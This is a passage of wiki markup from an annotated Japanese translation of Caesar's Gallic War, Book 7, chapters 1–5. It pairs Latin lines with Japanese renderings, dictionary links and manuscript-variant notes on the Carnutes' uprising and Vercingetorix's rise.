*ut Caesar ab [[wikt:en:exercitus#Noun|exercitu]] [[wikt:en:intercludatur|intercludatur]]. 
**カエサルが軍隊から切り離されるように、と。
:　
*&lt;!--❼--&gt;&lt;sup&gt;(7)&lt;/sup&gt; Id esse [[wikt:en:facilis#Latin|facile]], 
**それは容易なことである。
*quod neque legiones [[wikt:en:audeant|audeant]] [[wikt:en:absens#Latin|absente]] [[wikt:en:imperator#Latin|imperatore]] ex [[wikt:en:hiberna#Noun|hibernis]] [[wikt:en:egredi|egredi]], 
**というのは、[[w:ローマ軍団|諸軍団]]は将軍&lt;small&gt;〔カエサル〕&lt;/small&gt;が不在のときにあえて冬営から出て行こうとはしないし、
*neque [[wikt:en:imperator#Latin|imperator]] sine [[wikt:en:praesidium#Latin|praesidio]] ad legiones [[wikt:en:pervenire#Latin|pervenire]] [[wikt:en:possit|possit]]. 
**将軍は護衛なしに諸軍団のところへ到着することはできないのだから。
:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❽--&gt;&lt;sup&gt;(8)&lt;/sup&gt; [[wikt:en:postremo#Adverb|Postremo]] in [[wikt:en:acies#Latin|acie]] &lt;u&gt;praestare&lt;/u&gt; [[wikt:en:interfici|interfici]], 
**結局のところ、戦列において討ち死にする方がましである。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[wikt:en:praestare|praestare]] ～ [[wikt:en:quam#Adverb|quam]] …「…よりも～がより優る」）&lt;/span&gt;
*&lt;u&gt;quam&lt;/u&gt; non [[wikt:en:vetus#Latin|veterem]] belli [[wikt:en:gloria#Latin|gloriam]] [[wikt:en:libertas#Latin|libertatem]]&lt;nowiki&gt;que&lt;/nowiki&gt; quam a [[wikt:en:maior#Noun|maioribus]] [[wikt:en:acceperint|acceperint]], [[wikt:en:recuperare#Latin|recuperare]].
**先祖から受け継いだかつての戦争の栄誉および自由を取り戻さないことよりは。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;
===2節===
[[画像:Chartres_1.jpg|thumb|right|320px|カルヌーテース族（[[w:la:Carnutes|Carnutes]]）の名を残す現在の[[w:シャルトル|シャルトル]]（[[w:en:Chartres|Chartres]]）の象徴である[[w:シャルトル大聖堂|シャルトル大聖堂]]（[[w:世界遺産|世界遺産]]）。[[ガリア戦記 第6巻#13節|第6巻13節]]⑩項で既述のように、カルヌーテース族の土地はガッリアの中心・聖地と見なされていた。ガッリアがキリスト教化されると、[[w:司教|司教座]]が置かれて、宗教的中心地となった。]]
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/2節]]　{{進捗|00%|2025-11-05}}&lt;/span&gt;
;ガッリア諸部族の会合で、カルヌーテース族が開戦動議
:　　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; His rebus [[wikt:en:agitatus#Latin|agitatis]], 
**これらの事柄が論議されて、
*[[wikt:en:profiteor#Latin|profitentur]] [[wikt:en:Carnutes#Latin|Carnutes]], 
**カルヌーテース族の者が公言したことには、
*se [[wikt:en:nullus#Determiner|nullum]] [[wikt:en:periculum#Latin|periculum]] [[wikt:en:communis#Latin|communis]] [[wikt:en:salus#Latin|salutis]] causa [[wikt:en:recusare#Latin|recusare]], 
**&lt;small&gt;（ガッリア）&lt;/small&gt;共通の安全のためにはいかなる危険をも辞さない、
*[[wikt:en:princeps#Latin|principes]]&lt;nowiki&gt;que&lt;/nowiki&gt; ex omnibus bellum [[wikt:en:facturus#Latin|facturos]] [[wikt:en:pollicentur|pollicentur]]; 
**かつ&lt;small&gt;（ガッリア方）&lt;/small&gt;総勢の先鋒として戦争を遂行するであろうと約束する。
:　　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; et, [[wikt:en:quoniam#Latin|quoniam]] in [[wikt:en:praesentia#Noun|praesentia]] [[wikt:en:obses#Latin|obsidibus]] [[wikt:en:cavere#Verb_2|cavere]] inter se non [[wikt:en:possint|possint]], 
**目下のところ、人質により互いに保証し合うことはできなかったので、
*ne res [[wikt:en:efferatur|efferatur]], 
**事が漏らされないように、
*&lt;u&gt;ut&lt;/u&gt; [[wikt:en:ius_iurandum#Latin|iure iurando]] ac [[wikt:en:fides#Latin|fide]] [[wikt:en:sanciatur|sanciatur]], [[wikt:en:petunt|petunt]], 
**誓約と信義でもって批准するように求める。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、写本ST&lt;sup&gt;c&lt;/sup&gt; では ut だが、&lt;br&gt;　　　　　　　　　写本 T&lt;sup&gt;1&lt;/sup&gt;･&amp;rho;系では at 、&lt;br&gt;　　　　　　　　　写本BMLNV･&amp;chi;系では aut となっている。）&lt;/span&gt;
*[[wikt:en:conlatus#Latin|conlatis]] [[wikt:en:militaris#Adjective|militaribus]] [[wikt:en:signum#Latin|signis]], 
**軍旗が運び集められて、
*[[wikt:en:quo#Etymology_2_2|quo]] [[wikt:en:mos#Latin|more]] eorum [[wikt:en:gravissimus#Latin|gravissima]] [[wikt:en:caerimonia#Latin|caerimonia]] [[wikt:en:continetur|continetur]], 
**それは彼らの慣習で最も荘重な&lt;ruby&gt;&lt;rb&gt;神聖儀式&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;カエリモーニア&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;として保たれているのだが、
*ne [[wikt:en:factus#Latin|facto]] [[wikt:en:initium#Latin|initio]] belli ab reliquis [[wikt:en:deserantur|deserantur]]. 
**開戦したら、ほかの&lt;small&gt;（部族の）&lt;/small&gt;者たちから見放されないように、ということである。
:　&lt;!--　[[wikt:en:|　--&gt;　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Tum [[wikt:en:conlaudatus#Latin|conlaudatis]] [[wikt:en:Carnutes#Latin|Carnutibus]], 
**それから、カルヌーテース族が賞賛されて、
*[[wikt:en:datus#Participle|dato]] [[wikt:en:ius_iurandum#Latin|iure iurando]] ab omnibus, qui [[wikt:en:aderant|aderant]], 
**訪れていたすべての者たちによって誓約が交わされて、
*[[wikt:en:tempus#Latin|tempore]] eius rei [[wikt:en:constitutus#Participle|constituto]] 
**その事の時期を決定すると、
*ab [[wikt:en:concilium#Latin|concilio]] [[wikt:en:disceditur|disceditur]].
**&lt;small&gt;（ガッリアの領袖たちは）&lt;/small&gt;会合から立ち去る。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;
===3節===
[[画像:Cathédrale_Sainte-Croix_d'Orléans_2008_PD_16.JPG|thumb|right|280px|ケナブム（Cenabum）すなわち現在の[[w:オルレアン|オルレアン]]の聖十字架大聖堂。ここもカルヌーテース族の[[w:オッピドゥム|城塞都市]]で、ガッリアの[[w:ドルイド|ドルイド]]たちが集まる聖地だったという。ローマの[[w:ルキウス・ドミティウス・アウレリアヌス|アウレリアヌス帝]]（Aurelianus）によって再建されたのでアウレリアヌスの都市（アウレリアヌム [[w:la:Aurelianum|Aurelianum]]）と改称され、オルレアン（Orléans）と転訛した。キリスト教化によってここにも[[w:司教|司教座]]が置かれて、布教の中心地になった。]]
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/3節]]　{{進捗|00%|2025-11-17}}&lt;/span&gt;
;カルヌーテース族がケナブム進駐
:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; [[wikt:en:ubi#Latin|Ubi]] ea dies venit, 
**その日が来ると、
*[[wikt:en:Carnutes#Latin|Carnutes]], 
**カルヌーテース族は、
*Cotuato et Conconnetodumno [[wikt:en:dux#Latin|ducibus]], [[wikt:en:desperatus#Latin|desperatis]] hominibus, 
**捨て身覚悟の連中であるコトゥアトゥスとコンコンネトドゥムヌスを指導者として、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ガリア語では、&lt;br&gt;　　　　　コトゥアトス ''[[w:fr:Cotuatos|Cotuatos]]''、&lt;br&gt;　　　　　コンコンネトドゥムノス ''[[w:fr:Conconnetodumnos|Conconnetodumnos]]''。）&lt;/span&gt;
*&lt;u&gt;Cenabum&lt;/u&gt; [[wikt:en:signum#Latin|signo]] [[wikt:en:datus#Participle|dato]] [[wikt:en:concurrunt|concurrunt]] 
**号令が発せられるとともに&lt;u&gt;ケナブム&lt;/u&gt;に襲来する。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ケナブムは、現在の[[w:オルレアン|オルレアン]]。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:fr:Cenabum|Cenabum]] はケルト語風の読みで、''[[ガリア戦記/注解編/写本と校訂版#Vossius|Vossius]]'' による修正提案。&lt;br&gt;　　　　　写本では genabim, genebim, genebin などとなっている。&lt;br&gt;　　　　　⇒ [[wikt:en:Genabum#Latin|Genabum]]）&lt;/span&gt;

*[[wikt:en:civis#Latin|cives]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:Romanus#Adjective|Romanos]], qui [[wikt:en:negotiandi|negotiandi]] causa [[wikt:en:ibi#Latin|ibi]] [[wikt:en:constiterant|constiterant]], 
**そこには、商いを営むためにローマ市民たちが滞在していて、
*in his [[wikt:en:Gaius#Latin|Gaium]] [[wikt:en:Fufius#Latin|Fufium]] Citam, [[wikt:en:honestus#Latin|honestum]] [[wikt:en:eques#Latin|equitem]] [[wikt:en:Romanus#Adjective|Romanum]], 
**彼らの中には、気高いローマ人[[w:エクィテス|騎士]]ガーイウス・フーフィウス・キタがいて
*qui rei [[wikt:en:frumentarius#Latin|frumentariae]] [[wikt:en:iussus#Noun|iussu]] Caesaris [[wikt:en:praeerat|praeerat]], 
**カエサルの指図により糧秣調達を統率していたが、
*[[wikt:en:interficiunt|interficiunt]] [[wikt:en:bonum#Noun_2|bona]]&lt;nowiki&gt;que&lt;/nowiki&gt; eorum [[wikt:en:diripiunt|diripiunt]]. 
**&lt;small&gt;（カルヌーテース勢は彼らローマ市民たちを）&lt;/small&gt;殺害して、彼らの財産を略奪する。
:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Celeriter ad omnes Galliae [[wikt:en:civitas#Latin|civitates]] [[wikt:en:fama#Latin|fama]] [[wikt:en:perfertur|perfertur]]. 
**速やかに全ガッリア部族のもとへ、評判が報知される。
*Nam, &lt;u&gt;ubique&lt;/u&gt; [[wikt:en:maior#Latin|maior]] atque [[wikt:en:inlustrior|inlustrior]] [[wikt:en:incidit#Etymology_1|incidit]] res, 
**なぜなら、より重大でより目立った事態が起こればどこであろうが、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、主要写本&amp;omega; の大半では [[wikt:en:ubique#Latin|ubique]] だが、写本STでは [[wikt:en:ubi#Latin|ubi]] 、&lt;br&gt;　　　　　　　　　さらに [[wikt:en:ubicumque#Latin|ubicumque]] という異読もあり、&lt;br&gt;　　　　　　　　　&amp;nbsp;''[[ガリア戦記/注解編/写本と校訂版#Schneider,K.E.Chr.|Chr. Schneider]]'' は ubi quae と修正提案している。）&lt;/span&gt;
*[[wikt:en:clamor#Latin|clamore]] per [[wikt:en:ager#Latin|agros]] [[wikt:en:regio#Latin|regiones]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:significant#Latin|significant]]; 
**耕地や&lt;small&gt;（集落の）&lt;/small&gt;区域を介して、大声で呼びかける。
*&lt;u&gt;hinc&lt;/u&gt; [[wikt:en:alius#Latin|alii]] [[wikt:en:deinceps#Latin|deinceps]] [[wikt:en:excipiunt|excipiunt]] 
**ここから、別の者たちが続けて引き受けて、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本の大半では [[wikt:en:hanc#Latin|hanc]] だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:hinc#Latin|hinc]] 「ここから」、&lt;br&gt;　　　　　　　　　写本Sでは [[wikt:en:hunc|hunc]] となっている。）&lt;/span&gt;
*et [[wikt:en:proximus#Noun|proximis]] [[wikt:en:tradunt|tradunt]]; 
**近隣の者たちへ伝える。
*ut tum [[wikt:en:accidit#Etymology_1|accidit]]. 
**そのときにも&lt;small&gt;（同様のことが）&lt;/small&gt;起こったのである。
:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Nam, quae &lt;u&gt;Cenabi&lt;/u&gt; [[wikt:en:oriens#Latin|oriente]] [[wikt:en:sol#Latin|sole]] gesta essent, 
**ケナブムで日が昇るときになされていたこと&lt;small&gt;〔襲撃〕&lt;/small&gt;が、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：Cenabi はケルト語風の読みで、''[[ガリア戦記/注解編/写本と校訂版#Vossius|Vossius]]'' による修正提案。&lt;br&gt;　　　　　主要写本&amp;omega; では genabi となっている。　⇒ [[wikt:en:Genabum#Latin|Genabum]]）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:gestus#Latin|gesta]] [[wikt:en:essent#Etymology_1|essent]] は [[wikt:en:gero#Latin|gerō]] の3人称･複数･過去完了･受動･接続法。）&lt;/span&gt;
*ante [[wikt:en:primus#Latin|primam]] [[wikt:en:confectus#Latin|confectam]] [[wikt:en:vigilia#Latin|vigiliam]] 
**第一夜警時の終わる前頃には
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：第一夜警時は、日の入から真夜中までの時間帯の前半「宵の口」。&lt;br&gt;　　　　　[[古代ローマの不定時法#夜警時|#夜警時]] を参照。）&lt;/span&gt;
*in finibus [[wikt:en:Arverni#Latin|Arvernorum]] audita sunt, 
**アルウェルニー族の領土において聞かれた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:auditus#Latin|audita]] [[wikt:en:sunt#Latin|sunt]] は [[wikt:en:audio#Latin|audiō]] の3人称･複数･完了･受動･直説法）&lt;/span&gt;
*[[wikt:en:qui#Latin|quod]] [[wikt:en:spatium#Latin|spatium]] est [[wikt:en:mille#Latin|milium]] [[wikt:en:passus#Etymology_2|passuum]] circiter [[wikt:en:centum#Latin|centum]] [[wikt:en:sexaginta#Latin|sexaginta]](CLX).
**約160ローママイルもの隔たりがあったのに。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：1[[ガイウス・ユリウス・カエサルの著作/通貨・計量単位#ミーッレ・パッスーム、ミーリア（ローママイル）|ローママイル]]は約1.48 kmで、160マイルは約240 km）&lt;/span&gt;
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;
==ウェルキンゲトリークスとガッリア同盟軍の蜂起==
===4節===
[[画像:Vercingetorix stater CdM.jpg|thumb|right|200px|“&lt;span style=&quot;font-family:Times New Roman;font-size:15pt;&quot;&gt;(VERCIN)GETORIXS&lt;/span&gt;”の名と横顔が刻まれた金貨。]]
[[画像:Vercingétorix_par_Millet.jpg|thumb|right|250px|[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]の立像（フランスのアリーズ＝サント＝レーヌ &lt;small&gt;[[w:fr:Alise-Sainte-Reine|Alise-Sainte-Reine]]&lt;/small&gt;）。&lt;br&gt;近代[[w:ナショナリズム|ナショナリズム]]の高揚とともに[[w:フランス|フランス]]国民が自らを古代[[w:ガリア人|ガッリア人]]の末裔と見なすようになると（[[w:ガリア起源説|ガッリア起源説]]）、ガッリア諸部族を率いて[[w:古代ローマ|古代ローマ]]と戦った彼は「'''フランス最初の英雄'''」として祀り上げられた。[[w:フランス第二帝政|第二帝政]]期に皇帝[[w:ナポレオン3世|ナポレオン3世]]の命により[[w:アレシアの戦い|アレスィア古戦場]]の発掘調査が実施され、[[w:1865年|1865年]]にはその地に彫刻家エメ・ミレ（[[w:fr:Aimé Millet|Aimé Millet]]）による高さ7メートルの銅像が建立された。&lt;br&gt;（[[w:fr:Vercingétorix_(statue_d'Aimé_Millet)|fr:La statue de Vercingétorix]]）]]
[[画像:Statue-vercingetorix-jaude-clermont.jpg|thumb|right|250px|[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]の騎馬像([[w:fr:Statue équestre de Vercingétorix (Frédéric Auguste Bartholdi)|fr]])。彼の出身地ゲルゴウィアの近く、[[w:クレルモン＝フェラン|クレルモン＝フェラン市]]中央広場に建つ。[[w:1903年|1903年]]に、[[w:自由の女神像 (ニューヨーク)|自由の女神像]]の作者として著名な彫刻家[[w:フレデリク・バルトルディ|フレデリク・オーギュスト・バルトルディ]]によって建立された。[[w:フランス語|フランス語]]で「我は皆の自由のために武器を取った」« J’ai pris les armes pour la liberté de tous » と刻まれている。]]
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/4節]]　{{進捗|00%|2025-11-24}}&lt;/span&gt;
;アルウェルニー族のウェルキンゲトリークスが挙兵、ガッリア諸部族同盟軍を指揮する
:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; [[wikt:en:similis#Latin|Simili]] [[wikt:en:ratio#Latin|ratione]] ibi 
**そこ&lt;small&gt;〔アルウェルニー族領〕&lt;/small&gt;でも同様のやり方によって、
*[[wikt:en:Vercingetorix#Latin|Vercingetorix]], 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]という、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ガリア語 [[wikt:en:Reconstruction:Gaulish/Werkingetorix|*Werkingetorīx]] は「戦士たちの最高の王」という意味で、&lt;br&gt;　　　　　ガッリア同盟軍の最高司令官にふさわしい呼び名である。&lt;br&gt;　　　　　《[[ガリア戦記/ガリア語の名前#Vercingetorix|'''ガリア語の名前'''#Vercingetorix]]》 を参照せよ。）&lt;/span&gt;
*[[wikt:fr:Celtillus|Celtilli]] filius, [[wikt:en:Arvernus#Latin|Arvernus]], 
**ケルティッルスの息子で[[w:アルウェルニ族|アルウェルニー族]]の者で、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：''[[w:en:Celtillus|Celtillus]]'' はガリア語で「小さなケルト人」という意味だと解される。）&lt;/span&gt;
*[[wikt:en:summus#Adjective|summae]] [[wikt:en:potentia#Latin|potentiae]] [[wikt:en:adulescens#Noun|adulescens]], 
**最高の影響力のある青年が、
*cuius [[wikt:en:pater#Latin|pater]] [[wikt:en:principatus#Latin|principatum]] Galliae [[wikt:en:totus#Etymology_1|totius]] [[wikt:en:obtinuerat|obtinuerat]] 
**──その父&lt;small&gt;〔ケルティッルス〕&lt;/small&gt;はガッリア全体の主導権を占めていたが、
*et ob eam causam, quod [[wikt:en:regnum#Latin|regnum]] [[wikt:en:adpetebat|adpetebat]], ab [[wikt:en:civitas#Latin|civitate]] erat [[wikt:en:interfectus#Latin|interfectus]], 
**王位を求めたという理由により、部族の者によって誅殺されていたのであるが、──
*[[wikt:en:convocatus#Latin|convocatis]] suis [[wikt:en:cliens#Latin|clientibus]] 
**自らの庇護者たちを招集して、
*facile [[wikt:en:incendit|incendit]]. 
**容易に焚き付けた。
:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; [[wikt:en:cognitus#Participle|Cognito]] eius [[wikt:en:consilium#Latin|consilio]] 
**彼の計画を知ると、
*ad [[wikt:en:arma#Latin|arma]] [[wikt:en:concurritur|concurritur]]. 
**&lt;small&gt;（人々は）&lt;/small&gt;武器のもとへ群がり集まった。
*[[wikt:en:prohibetur|Prohibetur]] ab [[wikt:fr:Gobannitio|Gobannitione]], [[wikt:en:patruus#Latin|patruo]] suo, [[wikt:en:reliquus#Latin|reliquis]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:princeps#Noun_3|principibus]], 
**彼の&lt;small&gt;（父方の）&lt;/small&gt;おじゴバンニティオやほかの領袖たちにより妨げられた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：''[[w:fr:Gobannitio|Gobannitio]]'' は「鍛冶屋」か「鍛冶の神」に由来する名前と解される。）&lt;/span&gt;
*qui hanc [[wikt:en:temptandus#Latin|temptandam]] [[wikt:en:fortuna#Latin|fortunam]] non [[wikt:en:existimabant|existimabant]]; 
**その者たちは、このような運命を試すべきとは考えていなかったのだ。
*[[wikt:en:expellitur|expellitur]] ex [[wikt:en:oppidum#Latin|oppido]] [[wikt:en:Gergovia#Latin|Gergovia]]; 
**&lt;small&gt;（ウェルキンゲトリークスは）&lt;/small&gt;城塞都市ゲルゴウィアから追放される。
:　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; non [[wikt:en:destitit|destitit]] tamen 
**しかしながら&lt;small&gt;（彼は計画を）&lt;/small&gt;取り止めず、
*atque in agris habet [[wikt:en:dilectus#Noun|dilectum]] [[wikt:en:egens#Latin|egentium]] ac [[wikt:en:perditor#Noun|perditorum]]. 
**野に貧窮者たちやならず者たちを徴集する。
:　
*Hac [[wikt:en:coactus#Latin|coacta]] [[wikt:en:manus#Latin|manu]], 
**こうした手勢が集められ、
*[[wikt:en:quoscumque|quoscumque]] [[wikt:en:adit#Latin|adit]] ex civitate, 
**部族のうちで&lt;small&gt;（彼が）&lt;/small&gt;会った者は誰であれ、
*ad suam [[wikt:en:sententia#Latin|sententiam]] [[wikt:en:perducit|perducit]]; 
**自らの意図に引き込んだ。
:　
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; [[wikt:en:hortatur|hortatur]] ut [[wikt:en:communis#Latin|communis]] [[wikt:en:libertas#Latin|libertatis]] causa [[wikt:en:arma#Latin|arma]] [[wikt:en:capiant|capiant]], 
**&lt;small&gt;（ガッリア）&lt;/small&gt;共通の自由のために武器を取るように鼓舞した。
*[[wikt:en:magnus#Latin|magnis]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:coactus#Latin|coactis]] [[wikt:en:copia#Latin|copiis]] 
**大軍勢が集められて、
*[[wikt:en:adversarius#Latin|adversarios]] suos, a quibus paulo ante erat [[wikt:en:eiectus#Latin|eiectus]], 
**少し前に&lt;small&gt;（彼をゲルゴウィアから）&lt;/small&gt;放逐したところの敵対者たちを、
*[[wikt:en:expellit|expellit]] ex civitate. 
**部族から追放する。
*[[wikt:en:rex#Latin|Rex]] ab suis [[wikt:en:appellatur|appellatur]]. 
**&lt;small&gt;（ウェルキンゲトリークスは）&lt;/small&gt;配下の者たちから王と呼ばれている。
:　
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; [[wikt:en:dimittit|Dimittit]] [[wikt:en:quoque#Latin|quoque]] [[wikt:en:versus#Adverb|versus]] [[wikt:en:legatio#Latin|legationes]]; 
**&lt;small&gt;（ウェルキンゲトリークスは）&lt;/small&gt;あらゆる方向へ使節団を派遣して、
*[[wikt:en:obtestatur|obtestatur]] ut in [[wikt:en:fides#Latin|fide]] [[wikt:en:maneant|maneant]]. 
**誓約に留まるようにと、懇願する。
:　
*&lt;!--❻--&gt;&lt;sup&gt;(6)&lt;/sup&gt; Celeriter sibi 
**速やかに、自分たち&lt;small&gt;〔アルウェルニー族〕&lt;/small&gt;に対して
*[[wikt:en:Senones#Latin|Senones]], [[wikt:en:Parisii#Latin|Parisios]], [[wikt:en:Pictones#Latin|Pictones]], [[wikt:en:Cadurci#Latin|Cadurcos]], &lt;u&gt;Turonos&lt;/u&gt;, [[wikt:en:Aulerci#Latin|Aulercos]], [[wikt:en:Lemovices#Latin|Lemovices]], &lt;u&gt;Andes&lt;/u&gt; 
**セノネース族、パリースィイー族、ピクトネース族、カドゥルキー族、&lt;br&gt;&lt;u&gt;トゥロニイー族&lt;/u&gt;、アウレルキー族、レモウィーケース族、アンデース族、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部のトゥロニイー族 ''[[w:Turoni|Turoni]]'' は、トゥロネース族 ''[[wikt:en:Turones#Latin|Turonēs]]'' ともいう。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：二つ目の下線部は、&amp;alpha;系写本では [[wikt:en:Andi#Latin|Andos]]「アンディー族」だが、&lt;br&gt;　　　　　　　　　　　　　''[[ガリア戦記/注解編/写本と校訂版#Glareanus|Glareanus]]'' は、[[wikt:en:Andes#Latin|Andēs]]「アンデース族」と修正提案し、&lt;br&gt;　　　　　　　　　　　　　これは別名「アンデカーウィー族」''[[wikt:en:Andecavi#Latin|Andecāvī]]'' ともいう。）&lt;/span&gt;
*reliquosque omnes, qui [[wikt:en:Oceanus#Latin|Oceanum]] [[wikt:en:adtingunt|adtingunt]], [[wikt:en:adiungit|adiungit]]; 
**および&lt;ruby&gt;&lt;rb&gt;大洋&lt;span style=&quot;color:#009900;&quot;&gt;〔[[w:大西洋|大西洋]]〕&lt;/span&gt;&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オーケアヌス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に接するほかの全部族を、加盟させる。
*omnium [[wikt:en:consensus#Latin|consensu]] 
**すべての者たちの同意により、
*ad eum [[wikt:en:defertur|defertur]] [[wikt:en:imperium#Latin|imperium]]. 
**彼&lt;small&gt;〔ウェルキンゲトリークス〕&lt;/small&gt;に&lt;small&gt;（諸部族の）&lt;/small&gt;軍勢指揮権が譲り渡される。
:　
*&lt;!--❼--&gt;&lt;sup&gt;(7)&lt;/sup&gt; Qua [[wikt:en:oblatus#Latin|oblata]] [[wikt:en:potestas#Latin|potestate]] 
**&lt;small&gt;（ウェルキンゲトリークスは）&lt;/small&gt;その権限が任されると、
*omnibus his civitatibus [[wikt:en:obses#Latin|obsides]] [[wikt:en:imperat|imperat]], 
**これらすべての部族に人質&lt;small&gt;（の供出）&lt;/small&gt;を命令して、
*[[wikt:en:certus#Latin|certum]] numerum [[wikt:en:miles#Latin|militum]] ad se celeriter [[wikt:en:adduci#Latin|adduci]] [[wikt:en:iubet#Latin|iubet]], 
**兵の一定の数が自分のもとへ速やかに動員されることを命じる。
:　
*&lt;!--❽--&gt;&lt;sup&gt;(8)&lt;/sup&gt; [[wikt:en:arma#Latin|armorum]] [[wikt:en:quantum#Latin|quantum]] [[wikt:en:quisque#Latin|quaeque]] civitas [[wikt:en:domi#Latin|domi]] [[wikt:en:quisque#Latin|quodque]] ante tempus [[wikt:en:efficiat|efficiat]], [[wikt:en:constituit#Latin|constituit]]; 
**おのおのの部族が本国で、武器のどれほどをその時期の前に生産するかを、決定した。
*in primis [[wikt:en:equitatus#Latin|equitatui]] [[wikt:en:studet|studet]]. 
**とりわけ、[[w:騎兵|騎兵隊]]を熱心に求めた。
:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❾--&gt;&lt;sup&gt;(9)&lt;/sup&gt; Summae diligentiae summam [[wikt:en:imperium#Latin|imperii]] [[wikt:en:severitas#Latin|severitatem]] addit; 
**&lt;small&gt;&lt;/small&gt;（ウェルキンゲトリークスは）最高の入念さに、命令の最高の厳格さを付け加える。
*magnitudine [[wikt:en:supplicium#Latin|supplicii]] [[wikt:en:dubitans#Latin|dubitantes]] cogit. 
**重大な刑罰をふんぎりが付かぬ者たちへ強いる。
:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❿--&gt;&lt;sup&gt;(10)&lt;/sup&gt; Nam maiore commisso delicto &lt;u&gt;igni&lt;/u&gt; atque omnibus tormentis necat, 
**すなわち、より重大な違反を犯したら、火とあらゆる拷問によって誅殺した。
*leviore de causa auribus desectis aut singulis effossis oculis domum remittit, 
**より軽微な場合については、両耳を切り取り、あるいは眼を一つずつ繰り抜いて、郷里へ送還する。
*ut sint reliquis documento et magnitudine poenae perterreant alios.
**ほかの者たちへの警告となり、懲罰の重大さが別の者たちを畏怖させるようにである。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===5節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/5節]]　{{進捗|00%|2025-12-14}}&lt;/span&gt;
;ビトゥリゲース族が、ガッリア同盟軍に寝返る
:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; His [[wikt:en:supplicium#Latin|suppliciis]] celeriter [[wikt:en:coactus#Latin|coacto]] [[wikt:en:exercitus#Noun|exercitu]], 
**&lt;small&gt;（ウェルキンゲトリークスは）&lt;/small&gt;これらの刑罰により速やかに軍隊を徴集して、
